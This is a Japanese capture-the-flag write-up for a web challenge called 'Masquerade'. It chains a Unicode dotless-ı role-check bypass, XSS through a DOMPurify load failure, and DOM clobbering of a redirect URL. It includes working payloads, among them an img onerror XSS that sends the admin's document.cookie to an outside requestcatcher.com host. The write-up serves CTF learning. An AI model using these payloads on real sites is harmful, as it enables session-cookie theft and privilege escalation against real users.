[web] Masquerade
Enjoy Masquerade with many roles!
ソースコード有り。複数の権限ロールを持つアプリで、管理者のcookieをXSSで盗むことがゴール。3つ脆弱性があり、それをチェーンさせて解く。
1. 特殊文字を使ったロール制限バイパス
アプリケーションではユーザーが自分のロールを変更できるが、ADMINやINSPECTORといった特権ロールは制限されている。
const role_list = ["ADMIN", "MEMBER", "INSPECTOR", "DEV", "BANNED"]; function checkRole(role) { const regex = /^(ADMIN|INSPECTOR)$/i; return regex.test(role); } const setRole = (uuid, input) => { const user = getUser(uuid); if (checkRole(input)) return false; if (!role_list.includes(input.toUpperCase())) return false; users.set(uuid, { ...user, role: input.toUpperCase() }); const updated = getUser(uuid); const payload = { uuid, ...updated } delete payload.password; const token = generateToken(payload); return token; };
脆弱点はcheckRoleで検証をした後にtoUpperCaseに通されて最終的に処理されている所。つまり、toUpperCaseが使われたときに良い感じに変換されるような文字があれば、それを使ってロール変更ができる。ADMINとINSPECTORの両方にIが含まれているので、以下のようなスクリプトで使える文字を探す。
for(let i=256; i<70000; i++){ var c = String.fromCharCode(i); var input = "adm" + c + "n" if (/^(ADMIN|INSPECTOR)$/i.test(input) == false && input.toUpperCase() === "ADMIN") { console.log(i) console.log(c) } }
動かすと
305 ı 65841 ı
というのが見つかるので、I
の代わりにı
というのを使えば、正規表現の検証を回避しながら、toUpperCaseでI
が得られる。よって、ADMINになるにはadmın
、INSPECTORになるにはınspector
を使えば良い。
2. DOMPurifyの読み込み失敗による脆弱性
admin.jsに攻撃してねというメッセージが書いてある。
// TODO : Testing HTML tag functionality for the "/post". router.get('/test', (req, res) => { res.render('admin/test'); });
テンプレートファイルを見るとなぜか難読化してあり、解除すると以下のように、クエリストリングで受け取った入力を、DOMPurifyを通して表示している。
const urlSearch = new URLSearchParams(location.search); const title = urlSearch.get('title'); const content = urlSearch.get('content'); if (!title && !content) { // error } else { try { post_title.innerHTML = DOMPurify.sanitize(title); post_content.innerHTML = DOMPurify.sanitize(content); } catch { post_title.innerHTML = title; post_content.innerHTML = content; } }
このコードの問題点は、DOMPurifyが例外を発生させた場合に、サニタイズなしで直接HTMLに入力値を反映してしまうこと。では、次はどのように例外を起こすかであるが、これはパスを利用する。
<script src="../js/purify.min.js"></script>
以上のように相対パスでDOMPurifyを読み込んでいるため、/admin/test
とするのではなく/admin/test/
として表示することで相対パスの階層を1つずらすことができ、DOMPurifyの読み込みを失敗させることができる。よって、/admin/test/?title=<img%20src%20onerror=alert(origin)>
というのを試すとアラートが出る。
3. DOM Clobberingを使ったリダイレクト
Admin Botを見ると
await browser.setCookie(...cookies); const page = await browser.newPage(); await page.goto(`http://localhost:3000/post/${post_id}`, { timeout: 3000, waitUntil: "domcontentloaded" }); await delay(1000); const button = await page.$('#delete'); await button.click(); await delay(1000);
のように/post/{post_id}
にアクセスしてDELETEボタンを押してくれる。ここから、上の/admin/test/
にリダイレクトさせる必要がある。/post/{post_id}
のテンプレートを見ると以下のようになっている。
<div class="post-content"> <%- post.content %> </div> ... <script nonce="<%= nonce %>"> <% if (isOwner || isAdmin) { %> window.conf = window.conf || { deleteUrl: "/post/delete/<%= post.post_id %>" }; <% } else { %> window.conf = window.conf || { deleteUrl: "/error/role" }; <% } %> ... const deleteButton = document.querySelector("#delete"); deleteButton.addEventListener("click", () => { location.href = window.conf.deleteUrl; }); </script>
location.href = window.conf.deleteUrl
がどう見ても怪しい。しかも、window.conf = window.conf || { deleteUrl: "/post/delete/<%= post.post_id %>" };
のように無かったら初期値を使うという感じになっていて、初期値が用意できれば任意のものが差し込めそうになっている。そして、<%- post.content %>
でHTMLインジェクションができるという条件から…
DOM Clobberingをする!以下のようなタグを用意することでconf.deleteUrl
を悪意あるURLに変更できる。
<iframe name=conf srcdoc="<a id='deleteUrl' href='悪意あるURL'></a>"></iframe>
ペイロードづくり
これで準備はできたので、攻撃ペイロードを作ろう。まずは、/admin/test
で実行させるXSS payloadだが、
<img src onerror="window.location.href='https://456dfgklsdafklskor.requestcatcher.com/get?flag='+document.cookie">
これでいく。/admin/test
で実行させる場合は
/admin/test/?title=%3Cimg%20src%20onerror%3D%22window%2Elocation%2Ehref%3D%27https%3A%2F%2F456dfgklsdafklskor%2Erequestcatcher%2Ecom%2Fget%3Fflag%3D%27%2Bdocument%2Ecookie%22%3E
こういう感じ。DOM ClobberingでこのURLに遷移させるためには
<iframe name=conf srcdoc=" <a id='deleteUrl' href='/admin/test/?title=%3Cimg%20src%20onerror%3D%22window%2Elocation%2Ehref%3D%27https%3A%2F%2F456dfgklsdafklskor%2Erequestcatcher%2Ecom%2Fget%3Fflag%3D%27%2Bdocument%2Ecookie%22%3E'></a> "></iframe>
このようにくるんでやればいい。だが、これだとソースコード中に書かれている
// In the actual code, a SPECIAL filter is prepared for here. // if (content.match(filterRegex)) return res.status(403).json({ message: "Hacking Detected!" });
という謎検証に引っ掛かるので、srcdocの中身はHTML Entity変換できるんので
<iframe name=conf srcdoc="  <a id='deleteUrl' href='/admin/test/?title=%3Cimg%20src%20onerror%3D%22window%2Elocation%2Ehref%3D%27https%3A%2F%2F456dfgklsdafklskor%2Erequestcatcher%2Ecom%2Fget%3Fflag%3D%27%2Bdocument%2Ecookie%22%3E'></a>"></iframe>
のようにすると検証が通った。(/post/{post_id}
は/admin/test
より厳しいCSP制限がかかっているんだが、metaタグでも遷移させることができてしまうので、それを防ぐための謎検証だろう)
攻撃手順
ペイロードも準備できたので、脆弱性を組み合わせて、以下の手順でフラグを取得する。
- 特殊文字を使ってロール制限をバイパスし、
admın
でADMINロールに変更する - ADMIN権限を使って自分に書き込み権限(Write Permission)を付与する
- 再度特殊文字を使って、
ınspector
でINSPECTORロールに変更する - 上の攻撃ペイロードをポストして、管理者に踏ませる
管理者が踏むと、
- DOM Clobberingにより
conf.deleteUrl
が/admin/test/?title=...
に変更される - 削除ボタンクリック時にこのURLへリダイレクトする
/admin/test/?title=...
ではDOMPurifyが例外を投げるためXSSが発生する- XSSによって
<img src onerror="window.location.href='https://456dfgklsdafklskor.requestcatcher.com/get?flag='+document.cookie">
が実行される - 管理者のcookieが外部サーバーに送信される
あとは送られてきたjwtトークンをデコードするとフラグが含まれている